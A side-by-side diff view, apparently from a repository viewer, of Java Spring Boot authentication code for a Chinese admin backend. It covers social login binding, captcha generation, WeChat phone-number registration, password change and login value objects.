scheduledExecutorService.schedule(() -> { scheduledExecutorService.schedule(() -> {
SseMessageDto dto = new SseMessageDto(); SseMessageDto dto = new SseMessageDto();
dto.setMessage("欢迎登录效果图业务后台管理系统"); dto.setMessage("欢迎登录效果图业务后台管理系统");
dto.setUserIds(List.of(userId)); dto.setUserIds(List.of(userId));
SseMessageUtils.publishMessage(dto); SseMessageUtils.publishMessage(dto);
}, 5, TimeUnit.SECONDS); }, 5, TimeUnit.SECONDS);
return R.ok(loginVo); return R.ok(loginVo);
} }
/** /**
* 第三方登录请求 * 第三方登录请求
* *
* @param source 登录来源 * @param source 登录来源
* @return 结果 * @return 结果
*/ */
@GetMapping("/binding/{source}") @GetMapping("/binding/{source}")
public R<String> authBinding(@PathVariable("source") String source, public R<String> authBinding(@PathVariable("source") String source,
@RequestParam String tenantId, @RequestParam String domain) { @RequestParam String tenantId, @RequestParam String domain) {
SocialLoginConfigProperties obj = socialProperties.getType().get(source); SocialLoginConfigProperties obj = socialProperties.getType().get(source);
if (ObjectUtil.isNull(obj)) { if (ObjectUtil.isNull(obj)) {
return R.fail(source + "平台账号暂不支持"); return R.fail(source + "平台账号暂不支持");
} }
AuthRequest authRequest = SocialUtils.getAuthRequest(source, socialProperties); AuthRequest authRequest = SocialUtils.getAuthRequest(source, socialProperties);
Map<String, String> map = new HashMap<>(); Map<String, String> map = new HashMap<>();
map.put("tenantId", tenantId); map.put("tenantId", tenantId);
map.put("domain", domain); map.put("domain", domain);
map.put("state", AuthStateUtils.createState()); map.put("state", AuthStateUtils.createState());
String authorizeUrl = authRequest.authorize(Base64.encode(JsonUtils.toJsonString(map), StandardCharsets.UTF_8)); String authorizeUrl = authRequest.authorize(Base64.encode(JsonUtils.toJsonString(map), StandardCharsets.UTF_8));
return R.ok("操作成功", authorizeUrl); return R.ok("操作成功", authorizeUrl);
} }
/** /**
* 第三方登录回调业务处理 绑定授权 * 第三方登录回调业务处理 绑定授权
* *
* @param loginBody 请求体 * @param loginBody 请求体
* @return 结果 * @return 结果
*/ */
@PostMapping("/social/callback") @PostMapping("/social/callback")
public R<Void> socialCallback(@RequestBody SocialLoginBody loginBody) { public R<Void> socialCallback(@RequestBody SocialLoginBody loginBody) {
// 获取第三方登录信息 // 获取第三方登录信息
AuthResponse<AuthUser> response = SocialUtils.loginAuth( AuthResponse<AuthUser> response = SocialUtils.loginAuth(
loginBody.getSource(), loginBody.getSocialCode(), loginBody.getSource(), loginBody.getSocialCode(),
loginBody.getSocialState(), socialProperties); loginBody.getSocialState(), socialProperties);
AuthUser authUserData = response.getData(); AuthUser authUserData = response.getData();
// 判断授权响应是否成功 // 判断授权响应是否成功
if (!response.ok()) { if (!response.ok()) {
return R.fail(response.getMsg()); return R.fail(response.getMsg());
} }
loginService.socialRegister(authUserData); loginService.socialRegister(authUserData);
return R.ok(); return R.ok();
} }
/** /**
* 取消授权 * 取消授权
* *
* @param socialId socialId * @param socialId socialId
*/ */
@DeleteMapping(value = "/unlock/{socialId}") @DeleteMapping(value = "/unlock/{socialId}")
public R<Void> unlockSocial(@PathVariable Long socialId) { public R<Void> unlockSocial(@PathVariable Long socialId) {
Boolean rows = socialUserService.deleteWithValidById(socialId); Boolean rows = socialUserService.deleteWithValidById(socialId);
return rows ? R.ok() : R.fail("取消授权失败"); return rows ? R.ok() : R.fail("取消授权失败");
} }
/** /**
* 退出登录 * 退出登录
*/ */
@PostMapping("/logout") @PostMapping("/logout")
public R<Void> logout() { public R<Void> logout() {
loginService.logout(); loginService.logout();
return R.ok("退出成功"); return R.ok("退出成功");
} }
/** /**
* 用户注册 * 用户注册
*/ */
@ApiEncrypt @ApiEncrypt
@PostMapping("/register") @PostMapping("/register")
public R<Void> register(@Validated @RequestBody RegisterBody user) { public R<Void> register(@Validated @RequestBody RegisterBody user) {
if (!configService.selectRegisterEnabled(user.getTenantId())) { if (!configService.selectRegisterEnabled(user.getTenantId())) {
return R.fail("当前系统没有开启注册功能!"); return R.fail("当前系统没有开启注册功能!");
} }
registerService.register(user); registerService.register(user);
return R.ok(); return R.ok();
} }
/** /**
* 登录页面租户下拉框 * 登录页面租户下拉框
* *
* @return 租户列表 * @return 租户列表
*/ */
@GetMapping("/tenant/list") @GetMapping("/tenant/list")
public R<LoginTenantVo> tenantList(HttpServletRequest request) throws Exception { public R<LoginTenantVo> tenantList(HttpServletRequest request) throws Exception {
// 返回对象 // 返回对象
LoginTenantVo result = new LoginTenantVo(); LoginTenantVo result = new LoginTenantVo();
boolean enable = TenantHelper.isEnable(); boolean enable = TenantHelper.isEnable();
result.setTenantEnabled(enable); result.setTenantEnabled(enable);
// 如果未开启租户这直接返回 // 如果未开启租户这直接返回
if (!enable) { if (!enable) {
return R.ok(result); return R.ok(result);
} }
List<SysTenantVo> tenantList = tenantService.queryList(new SysTenantBo()); List<SysTenantVo> tenantList = tenantService.queryList(new SysTenantBo());
List<TenantListVo> voList = MapstructUtils.convert(tenantList, TenantListVo.class); List<TenantListVo> voList = MapstructUtils.convert(tenantList, TenantListVo.class);
try { try {
// 如果只超管返回所有租户 // 如果只超管返回所有租户
if (LoginHelper.isSuperAdmin()) { if (LoginHelper.isSuperAdmin()) {
result.setVoList(voList); result.setVoList(voList);
return R.ok(result); return R.ok(result);
} }
} catch (NotLoginException ignored) { } catch (NotLoginException ignored) {
} }
// 获取域名 // 获取域名
String host; String host;
String referer = request.getHeader("referer"); String referer = request.getHeader("referer");
if (StringUtils.isNotBlank(referer)) { if (StringUtils.isNotBlank(referer)) {
// 这里从referer中取值是为了本地使用hosts添加虚拟域名方便本地环境调试 // 这里从referer中取值是为了本地使用hosts添加虚拟域名方便本地环境调试
host = referer.split("//")[1].split("/")[0]; host = referer.split("//")[1].split("/")[0];
} else { } else {
host = new URL(request.getRequestURL().toString()).getHost(); host = new URL(request.getRequestURL().toString()).getHost();
} }
// 根据域名进行筛选 // 根据域名进行筛选
List<TenantListVo> list = StreamUtils.filter(voList, vo -> List<TenantListVo> list = StreamUtils.filter(voList, vo ->
StringUtils.equalsIgnoreCase(vo.getDomain(), host)); StringUtils.equalsIgnoreCase(vo.getDomain(), host));
result.setVoList(CollUtil.isNotEmpty(list) ? list : voList); result.setVoList(CollUtil.isNotEmpty(list) ? list : voList);
return R.ok(result); return R.ok(result);
} }
public static void validateCaptcha(String body, HttpServletRequest request) { public static void validateCaptcha(String body, HttpServletRequest request) {
PasswordLoginBody loginBody = JsonUtils.parseObject(body, PasswordLoginBody.class); PasswordLoginBody loginBody = JsonUtils.parseObject(body, PasswordLoginBody.class);
ValidatorUtils.validate(loginBody); ValidatorUtils.validate(loginBody);
String username = loginBody.getUsername(); String username = loginBody.getUsername();
String name = MD5Util.crypto(username); String name = MD5Util.crypto(username);
UserUtils.validate(name,body,request); UserUtils.validate(name,body,request);
} }
} }

View File

@@ -1,136 +1,136 @@
package org.dromara.web.controller; package org.dromara.web.controller;
import cn.dev33.satoken.annotation.SaIgnore; import cn.dev33.satoken.annotation.SaIgnore;
import cn.hutool.captcha.AbstractCaptcha; import cn.hutool.captcha.AbstractCaptcha;
import cn.hutool.captcha.generator.CodeGenerator; import cn.hutool.captcha.generator.CodeGenerator;
import cn.hutool.core.util.IdUtil; import cn.hutool.core.util.IdUtil;
import cn.hutool.core.util.RandomUtil; import cn.hutool.core.util.RandomUtil;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.dromara.common.core.constant.Constants; import org.dromara.common.core.constant.Constants;
import org.dromara.common.core.constant.GlobalConstants; import org.dromara.common.core.constant.GlobalConstants;
import org.dromara.common.core.domain.R; import org.dromara.common.core.domain.R;
import org.dromara.common.core.utils.SpringUtils; import org.dromara.common.core.utils.SpringUtils;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
import org.dromara.common.core.utils.reflect.ReflectUtils; import org.dromara.common.core.utils.reflect.ReflectUtils;
import org.dromara.common.mail.config.properties.MailProperties; import org.dromara.common.mail.config.properties.MailProperties;
import org.dromara.common.mail.utils.MailUtils; import org.dromara.common.mail.utils.MailUtils;
import org.dromara.common.ratelimiter.annotation.RateLimiter; import org.dromara.common.ratelimiter.annotation.RateLimiter;
import org.dromara.common.ratelimiter.enums.LimitType; import org.dromara.common.ratelimiter.enums.LimitType;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.web.config.properties.CaptchaProperties; import org.dromara.common.web.config.properties.CaptchaProperties;
import org.dromara.common.web.enums.CaptchaType; import org.dromara.common.web.enums.CaptchaType;
import org.dromara.sms4j.api.SmsBlend; import org.dromara.sms4j.api.SmsBlend;
import org.dromara.sms4j.api.entity.SmsResponse; import org.dromara.sms4j.api.entity.SmsResponse;
import org.dromara.sms4j.core.factory.SmsFactory; import org.dromara.sms4j.core.factory.SmsFactory;
import org.dromara.web.domain.vo.CaptchaVo; import org.dromara.web.domain.vo.CaptchaVo;
import org.springframework.expression.Expression; import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser; import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.validation.annotation.Validated; import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.RestController;
import java.time.Duration; import java.time.Duration;
import java.util.LinkedHashMap; import java.util.LinkedHashMap;
/** /**
* 验证码操作处理 * 验证码操作处理
* *
* @author Lion Li * @author Lion Li
*/ */
@SaIgnore @SaIgnore
@Slf4j @Slf4j
@Validated @Validated
@RequiredArgsConstructor @RequiredArgsConstructor
@RestController @RestController
public class CaptchaController { public class CaptchaController {
private final CaptchaProperties captchaProperties; private final CaptchaProperties captchaProperties;
private final MailProperties mailProperties; private final MailProperties mailProperties;
/** /**
* 短信验证码 * 短信验证码
* *
* @param phonenumber 用户手机号 * @param phonenumber 用户手机号
*/ */
@RateLimiter(key = "#phonenumber", time = 60, count = 1) @RateLimiter(key = "#phonenumber", time = 60, count = 1)
@GetMapping("/resource/sms/code") @GetMapping("/resource/sms/code")
public R<Void> smsCode(@NotBlank(message = "{user.phonenumber.not.blank}") String phonenumber) { public R<Void> smsCode(@NotBlank(message = "{user.phonenumber.not.blank}") String phonenumber) {
String key = GlobalConstants.CAPTCHA_CODE_KEY + phonenumber; String key = GlobalConstants.CAPTCHA_CODE_KEY + phonenumber;
String code = RandomUtil.randomNumbers(4); String code = RandomUtil.randomNumbers(4);
RedisUtils.setCacheObject(key, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION)); RedisUtils.setCacheObject(key, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION));
// 验证码模板id 自行处理 (查数据库或写死均可) // 验证码模板id 自行处理 (查数据库或写死均可)
String templateId = ""; String templateId = "";
LinkedHashMap<String, String> map = new LinkedHashMap<>(1); LinkedHashMap<String, String> map = new LinkedHashMap<>(1);
map.put("code", code); map.put("code", code);
SmsBlend smsBlend = SmsFactory.getSmsBlend("config1"); SmsBlend smsBlend = SmsFactory.getSmsBlend("config1");
SmsResponse smsResponse = smsBlend.sendMessage(phonenumber, templateId, map); SmsResponse smsResponse = smsBlend.sendMessage(phonenumber, templateId, map);
if (!smsResponse.isSuccess()) { if (!smsResponse.isSuccess()) {
log.error("验证码短信发送异常 => {}", smsResponse); log.error("验证码短信发送异常 => {}", smsResponse);
return R.fail(smsResponse.getData().toString()); return R.fail(smsResponse.getData().toString());
} }
return R.ok(); return R.ok();
} }
/** /**
* 邮箱验证码 * 邮箱验证码
* *
* @param email 邮箱 * @param email 邮箱
*/ */
@RateLimiter(key = "#email", time = 60, count = 1) @RateLimiter(key = "#email", time = 60, count = 1)
@GetMapping("/resource/email/code") @GetMapping("/resource/email/code")
public R<Void> emailCode(@NotBlank(message = "{user.email.not.blank}") String email) { public R<Void> emailCode(@NotBlank(message = "{user.email.not.blank}") String email) {
if (!mailProperties.getEnabled()) { if (!mailProperties.getEnabled()) {
return R.fail("当前系统没有开启邮箱功能!"); return R.fail("当前系统没有开启邮箱功能!");
} }
String key = GlobalConstants.CAPTCHA_CODE_KEY + email; String key = GlobalConstants.CAPTCHA_CODE_KEY + email;
String code = RandomUtil.randomNumbers(4); String code = RandomUtil.randomNumbers(4);
RedisUtils.setCacheObject(key, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION)); RedisUtils.setCacheObject(key, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION));
try { try {
MailUtils.sendText(email, "登录验证码", "您本次验证码为:" + code + ",有效性为" + Constants.CAPTCHA_EXPIRATION + "分钟,请尽快填写。"); MailUtils.sendText(email, "登录验证码", "您本次验证码为:" + code + ",有效性为" + Constants.CAPTCHA_EXPIRATION + "分钟,请尽快填写。");
} catch (Exception e) { } catch (Exception e) {
log.error("验证码短信发送异常 => {}", e.getMessage()); log.error("验证码短信发送异常 => {}", e.getMessage());
return R.fail(e.getMessage()); return R.fail(e.getMessage());
} }
return R.ok(); return R.ok();
} }
/** /**
* 生成验证码 * 生成验证码
*/ */
@RateLimiter(time = 60, count = 10, limitType = LimitType.IP) @RateLimiter(time = 60, count = 10, limitType = LimitType.IP)
@GetMapping("/auth/code") @GetMapping("/auth/code")
public R<CaptchaVo> getCode() { public R<CaptchaVo> getCode() {
CaptchaVo captchaVo = new CaptchaVo(); CaptchaVo captchaVo = new CaptchaVo();
boolean captchaEnabled = captchaProperties.getEnable(); boolean captchaEnabled = captchaProperties.getEnable();
if (!captchaEnabled) { if (!captchaEnabled) {
captchaVo.setCaptchaEnabled(false); captchaVo.setCaptchaEnabled(false);
return R.ok(captchaVo); return R.ok(captchaVo);
} }
// 保存验证码信息 // 保存验证码信息
String uuid = IdUtil.simpleUUID(); String uuid = IdUtil.simpleUUID();
String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + uuid; String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + uuid;
// 生成验证码 // 生成验证码
CaptchaType captchaType = captchaProperties.getType(); CaptchaType captchaType = captchaProperties.getType();
boolean isMath = CaptchaType.MATH == captchaType; boolean isMath = CaptchaType.MATH == captchaType;
Integer length = isMath ? captchaProperties.getNumberLength() : captchaProperties.getCharLength(); Integer length = isMath ? captchaProperties.getNumberLength() : captchaProperties.getCharLength();
CodeGenerator codeGenerator = ReflectUtils.newInstance(captchaType.getClazz(), length); CodeGenerator codeGenerator = ReflectUtils.newInstance(captchaType.getClazz(), length);
AbstractCaptcha captcha = SpringUtils.getBean(captchaProperties.getCategory().getClazz()); AbstractCaptcha captcha = SpringUtils.getBean(captchaProperties.getCategory().getClazz());
captcha.setGenerator(codeGenerator); captcha.setGenerator(codeGenerator);
captcha.createCode(); captcha.createCode();
// 如果是数学验证码使用SpEL表达式处理验证码结果 // 如果是数学验证码使用SpEL表达式处理验证码结果
String code = captcha.getCode(); String code = captcha.getCode();
if (isMath) { if (isMath) {
ExpressionParser parser = new SpelExpressionParser(); ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(StringUtils.remove(code, "=")); Expression exp = parser.parseExpression(StringUtils.remove(code, "="));
code = exp.getValue(String.class); code = exp.getValue(String.class);
} }
RedisUtils.setCacheObject(verifyKey, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION)); RedisUtils.setCacheObject(verifyKey, code, Duration.ofMinutes(Constants.CAPTCHA_EXPIRATION));
captchaVo.setUuid(uuid); captchaVo.setUuid(uuid);
captchaVo.setImg(captcha.getImageBase64()); captchaVo.setImg(captcha.getImageBase64());
return R.ok(captchaVo); return R.ok(captchaVo);
} }
} }

View File

@@ -1,124 +1,124 @@
package org.dromara.web.controller; package org.dromara.web.controller;
import cn.dev33.satoken.secure.BCrypt; import cn.dev33.satoken.secure.BCrypt;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import cn.hutool.core.util.StrUtil; import cn.hutool.core.util.StrUtil;
import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.JSONObject;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import io.swagger.v3.oas.annotations.Operation; import io.swagger.v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.Parameter; import io.swagger.v3.oas.annotations.Parameter;
import io.swagger.v3.oas.annotations.tags.Tag; import io.swagger.v3.oas.annotations.tags.Tag;
import jakarta.validation.Valid; import jakarta.validation.Valid;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import org.dromara.common.core.exception.ServiceException; import org.dromara.common.core.exception.ServiceException;
import org.dromara.common.core.utils.MapstructUtils; import org.dromara.common.core.utils.MapstructUtils;
import org.dromara.web.utils.WxXcxUtils; import org.dromara.web.utils.WxXcxUtils;
import org.dromara.work.domain.TzUser; import org.dromara.work.domain.TzUser;
import org.dromara.work.domain.vo.TzUserVo; import org.dromara.work.domain.vo.TzUserVo;
import org.dromara.work.service.ITzUserService; import org.dromara.work.service.ITzUserService;
import org.dromara.web.common.*; import org.dromara.web.common.*;
import org.springframework.validation.annotation.Validated; import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*; import org.springframework.web.bind.annotation.*;
import java.util.Date; import java.util.Date;
/** /**
* @author Maosw * @author Maosw
*/ */
@Validated @Validated
@RequiredArgsConstructor @RequiredArgsConstructor
@RestController @RestController
@RequestMapping("/api/user/login") @RequestMapping("/api/user/login")
@Tag(name = "登录接口") @Tag(name = "登录接口")
public class LoginController { public class LoginController {
private final ITzUserService tzUserService; private final ITzUserService tzUserService;
private final TokenStore tokenStore; private final TokenStore tokenStore;
@PostMapping("/getUserPhoneNumber") @PostMapping("/getUserPhoneNumber")
@Operation(summary = "微信接口获取手机号码" , description = "微信接口获取手机号码") @Operation(summary = "微信接口获取手机号码" , description = "微信接口获取手机号码")
@Parameter(name = "code", description = "code", required = true) @Parameter(name = "code", description = "code", required = true)
public ServerResponseEntity<JSONObject> getUserPhoneNumber(@RequestParam(value = "code") String code) { public ServerResponseEntity<JSONObject> getUserPhoneNumber(@RequestParam(value = "code") String code) {
// String phone = WxXcxUtils.getUserPhoneNumber(code); // String phone = WxXcxUtils.getUserPhoneNumber(code);
return ServerResponseEntity.success(WxXcxUtils.getUserPhoneNumber(code)); return ServerResponseEntity.success(WxXcxUtils.getUserPhoneNumber(code));
} }
@PostMapping("/register") @PostMapping("/register")
@Operation(summary = "注册登录" , description = "用户绑定手机号注册登录") @Operation(summary = "注册登录" , description = "用户绑定手机号注册登录")
public ServerResponseEntity<TokenInfoVO> register(@Valid @RequestBody UserRegisterParam userRegisterParam) { public ServerResponseEntity<TokenInfoVO> register(@Valid @RequestBody UserRegisterParam userRegisterParam) {
if (StrUtil.isBlank(userRegisterParam.getNickName())) { if (StrUtil.isBlank(userRegisterParam.getNickName())) {
userRegisterParam.setNickName(userRegisterParam.getUserName()); userRegisterParam.setNickName(userRegisterParam.getUserName());
} }
TzUser tzUser = tzUserService.getOne(new LambdaQueryWrapper<TzUser>().eq(TzUser::getUserMobile, userRegisterParam.getMobile())); TzUser tzUser = tzUserService.getOne(new LambdaQueryWrapper<TzUser>().eq(TzUser::getUserMobile, userRegisterParam.getMobile()));
if (ObjectUtil.isNotEmpty(tzUser)) { if (ObjectUtil.isNotEmpty(tzUser)) {
//登录 //登录
UserInfoInTokenBO userInfoInTokenBO = new UserInfoInTokenBO(); UserInfoInTokenBO userInfoInTokenBO = new UserInfoInTokenBO();
userInfoInTokenBO.setUserId(tzUser.getUserId()); userInfoInTokenBO.setUserId(tzUser.getUserId());
userInfoInTokenBO.setSysType(0); userInfoInTokenBO.setSysType(0);
userInfoInTokenBO.setEnabled(true); userInfoInTokenBO.setEnabled(true);
return ServerResponseEntity.success(tokenStore.storeAndGetVo(userInfoInTokenBO)); return ServerResponseEntity.success(tokenStore.storeAndGetVo(userInfoInTokenBO));
}else { }else {
//注册并登录 //注册并登录
Date now = new Date(); Date now = new Date();
TzUser user = new TzUser(); TzUser user = new TzUser();
user.setModifyTime(now); user.setModifyTime(now);
user.setUserRegtime(now); user.setUserRegtime(now);
user.setStatus(1); user.setStatus(1);
user.setUserMobile(userRegisterParam.getMobile()); user.setUserMobile(userRegisterParam.getMobile());
user.setNickName(userRegisterParam.getNickName()); user.setNickName(userRegisterParam.getNickName());
user.setUserMail(userRegisterParam.getUserMail()); user.setUserMail(userRegisterParam.getUserMail());
user.setPic(userRegisterParam.getImg()); user.setPic(userRegisterParam.getImg());
user.setLoginPassword(BCrypt.hashpw(userRegisterParam.getPassWord())); user.setLoginPassword(BCrypt.hashpw(userRegisterParam.getPassWord()));
user.setOpenId(userRegisterParam.getOpenId()); user.setOpenId(userRegisterParam.getOpenId());
tzUserService.save(user); tzUserService.save(user);
// 2. 登录 // 2. 登录
UserInfoInTokenBO userInfoInTokenBO = new UserInfoInTokenBO(); UserInfoInTokenBO userInfoInTokenBO = new UserInfoInTokenBO();
userInfoInTokenBO.setUserId(user.getUserId()); userInfoInTokenBO.setUserId(user.getUserId());
userInfoInTokenBO.setSysType(0); userInfoInTokenBO.setSysType(0);
userInfoInTokenBO.setEnabled(true); userInfoInTokenBO.setEnabled(true);
return ServerResponseEntity.success(tokenStore.storeAndGetVo(userInfoInTokenBO)); return ServerResponseEntity.success(tokenStore.storeAndGetVo(userInfoInTokenBO));
} }
} }
@PutMapping("/updatePwd") @PutMapping("/updatePwd")
@Operation(summary = "修改密码" , description = "修改密码") @Operation(summary = "修改密码" , description = "修改密码")
public ServerResponseEntity<Boolean> updatePwd(@Valid @RequestBody UserRegisterParam userPwdUpdateParam) { public ServerResponseEntity<Boolean> updatePwd(@Valid @RequestBody UserRegisterParam userPwdUpdateParam) {
Long userId = SecurityUtils.getUser().getUserId(); Long userId = SecurityUtils.getUser().getUserId();
TzUserVo user = tzUserService.queryById(userId); TzUserVo user = tzUserService.queryById(userId);
if (user == null) { if (user == null) {
// 无法获取用户信息 // 无法获取用户信息
throw new ServiceException("无法获取用户信息"); throw new ServiceException("无法获取用户信息");
} }
if (StrUtil.isBlank(userPwdUpdateParam.getPassWord())) { if (StrUtil.isBlank(userPwdUpdateParam.getPassWord())) {
// 新密码不能为空 // 新密码不能为空
throw new ServiceException("新密码不能为空"); throw new ServiceException("新密码不能为空");
} }
String password = BCrypt.hashpw(userPwdUpdateParam.getPassWord()); String password = BCrypt.hashpw(userPwdUpdateParam.getPassWord());
if (StrUtil.equals(password, user.getLoginPassword())) { if (StrUtil.equals(password, user.getLoginPassword())) {
// 新密码不能与原密码相同 // 新密码不能与原密码相同
throw new ServiceException("新密码不能与原密码相同"); throw new ServiceException("新密码不能与原密码相同");
} }
user.setModifyTime(new Date()); user.setModifyTime(new Date());
user.setLoginPassword(password); user.setLoginPassword(password);
TzUser tzUser = MapstructUtils.convert(user, TzUser.class); TzUser tzUser = MapstructUtils.convert(user, TzUser.class);
return ServerResponseEntity.success(tzUserService.updateById(tzUser)); return ServerResponseEntity.success(tzUserService.updateById(tzUser));
} }
/** /**
* 获取登录用户信息 * 获取登录用户信息
*/ */
@GetMapping("/info") @GetMapping("/info")
@Operation(summary = "获取登录用户信息" , description = "获取登录用户信息") @Operation(summary = "获取登录用户信息" , description = "获取登录用户信息")
public ServerResponseEntity<TzUserVo> info() { public ServerResponseEntity<TzUserVo> info() {
Long userId = SecurityUtils.getUser().getUserId(); Long userId = SecurityUtils.getUser().getUserId();
TzUserVo user = tzUserService.queryById(userId); TzUserVo user = tzUserService.queryById(userId);
return ServerResponseEntity.success(user); return ServerResponseEntity.success(user);
} }
} }

View File

@@ -1,25 +1,25 @@
package org.dromara.web.domain.vo; package org.dromara.web.domain.vo;
import lombok.Data; import lombok.Data;
/** /**
* 验证码信息 * 验证码信息
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Data @Data
public class CaptchaVo { public class CaptchaVo {
/** /**
* 是否开启验证码 * 是否开启验证码
*/ */
private Boolean captchaEnabled = true; private Boolean captchaEnabled = true;
private String uuid; private String uuid;
/** /**
* 验证码图片 * 验证码图片
*/ */
private String img; private String img;
} }

View File

@@ -1,25 +1,25 @@
package org.dromara.web.domain.vo; package org.dromara.web.domain.vo;
import lombok.Data; import lombok.Data;
import java.util.List; import java.util.List;
/** /**
* 登录租户对象 * 登录租户对象
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Data @Data
public class LoginTenantVo { public class LoginTenantVo {
/** /**
* 租户开关 * 租户开关
*/ */
private Boolean tenantEnabled; private Boolean tenantEnabled;
/** /**
* 租户对象列表 * 租户对象列表
*/ */
private List<TenantListVo> voList; private List<TenantListVo> voList;
} }

View File

@@ -1,54 +1,54 @@
package org.dromara.web.domain.vo; package org.dromara.web.domain.vo;
import com.fasterxml.jackson.annotation.JsonProperty; import com.fasterxml.jackson.annotation.JsonProperty;
import lombok.Data; import lombok.Data;
/** /**
* 登录验证信息 * 登录验证信息
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Data @Data
public class LoginVo { public class LoginVo {
/** /**
* 授权令牌 * 授权令牌
*/ */
@JsonProperty("access_token") @JsonProperty("access_token")
private String accessToken; private String accessToken;
/** /**
* 刷新令牌 * 刷新令牌
*/ */
@JsonProperty("refresh_token") @JsonProperty("refresh_token")
private String refreshToken; private String refreshToken;
/** /**
* 授权令牌 access_token 的有效期 * 授权令牌 access_token 的有效期
*/ */
@JsonProperty("expire_in") @JsonProperty("expire_in")
private Long expireIn; private Long expireIn;
/** /**
* 刷新令牌 refresh_token 的有效期 * 刷新令牌 refresh_token 的有效期
*/ */
@JsonProperty("refresh_expire_in") @JsonProperty("refresh_expire_in")
private Long refreshExpireIn; private Long refreshExpireIn;
/** /**
* 应用id * 应用id
*/ */
@JsonProperty("client_id") @JsonProperty("client_id")
private String clientId; private String clientId;
/** /**
* 令牌权限 * 令牌权限
*/ */
private String scope; private String scope;
/** /**
* 用户 openid * 用户 openid
*/ */
private String openid; private String openid;
} }

View File

@@ -1,31 +1,31 @@
package org.dromara.web.domain.vo; package org.dromara.web.domain.vo;
import io.github.linpeilie.annotations.AutoMapper; import io.github.linpeilie.annotations.AutoMapper;
import lombok.Data; import lombok.Data;
import org.dromara.system.domain.vo.SysTenantVo; import org.dromara.system.domain.vo.SysTenantVo;
/** /**
* 租户列表 * 租户列表
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@AutoMapper(target = SysTenantVo.class) @AutoMapper(target = SysTenantVo.class)
public class TenantListVo { public class TenantListVo {
/** /**
* 租户编号 * 租户编号
*/ */
private String tenantId; private String tenantId;
/** /**
* 企业名称 * 企业名称
*/ */
private String companyName; private String companyName;
/** /**
* 域名 * 域名
*/ */
private String domain; private String domain;
} }

View File

@@ -1,165 +1,165 @@
package org.dromara.web.listener; package org.dromara.web.listener;
import cn.dev33.satoken.config.SaTokenConfig; import cn.dev33.satoken.config.SaTokenConfig;
import cn.dev33.satoken.listener.SaTokenListener; import cn.dev33.satoken.listener.SaTokenListener;
import cn.dev33.satoken.stp.SaLoginModel; import cn.dev33.satoken.stp.SaLoginModel;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.convert.Convert; import cn.hutool.core.convert.Convert;
import cn.hutool.http.useragent.UserAgent; import cn.hutool.http.useragent.UserAgent;
import cn.hutool.http.useragent.UserAgentUtil; import cn.hutool.http.useragent.UserAgentUtil;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.dromara.common.core.constant.CacheConstants; import org.dromara.common.core.constant.CacheConstants;
import org.dromara.common.core.constant.Constants; import org.dromara.common.core.constant.Constants;
import org.dromara.common.core.domain.dto.UserOnlineDTO; import org.dromara.common.core.domain.dto.UserOnlineDTO;
import org.dromara.common.core.utils.MessageUtils; import org.dromara.common.core.utils.MessageUtils;
import org.dromara.common.core.utils.ServletUtils; import org.dromara.common.core.utils.ServletUtils;
import org.dromara.common.core.utils.SpringUtils; import org.dromara.common.core.utils.SpringUtils;
import org.dromara.common.core.utils.ip.AddressUtils; import org.dromara.common.core.utils.ip.AddressUtils;
import org.dromara.common.log.event.LogininforEvent; import org.dromara.common.log.event.LogininforEvent;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.web.service.SysLoginService; import org.dromara.web.service.SysLoginService;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
import java.time.Duration; import java.time.Duration;
/** /**
* 用户行为 侦听器的实现 * 用户行为 侦听器的实现
* *
* @author Lion Li * @author Lion Li
*/ */
@RequiredArgsConstructor @RequiredArgsConstructor
@Component @Component
@Slf4j @Slf4j
public class UserActionListener implements SaTokenListener { public class UserActionListener implements SaTokenListener {
private final SaTokenConfig tokenConfig; private final SaTokenConfig tokenConfig;
private final SysLoginService loginService; private final SysLoginService loginService;
/** /**
* 每次登录时触发 * 每次登录时触发
*/ */
@Override @Override
public void doLogin(String loginType, Object loginId, String tokenValue, SaLoginModel loginModel) { public void doLogin(String loginType, Object loginId, String tokenValue, SaLoginModel loginModel) {
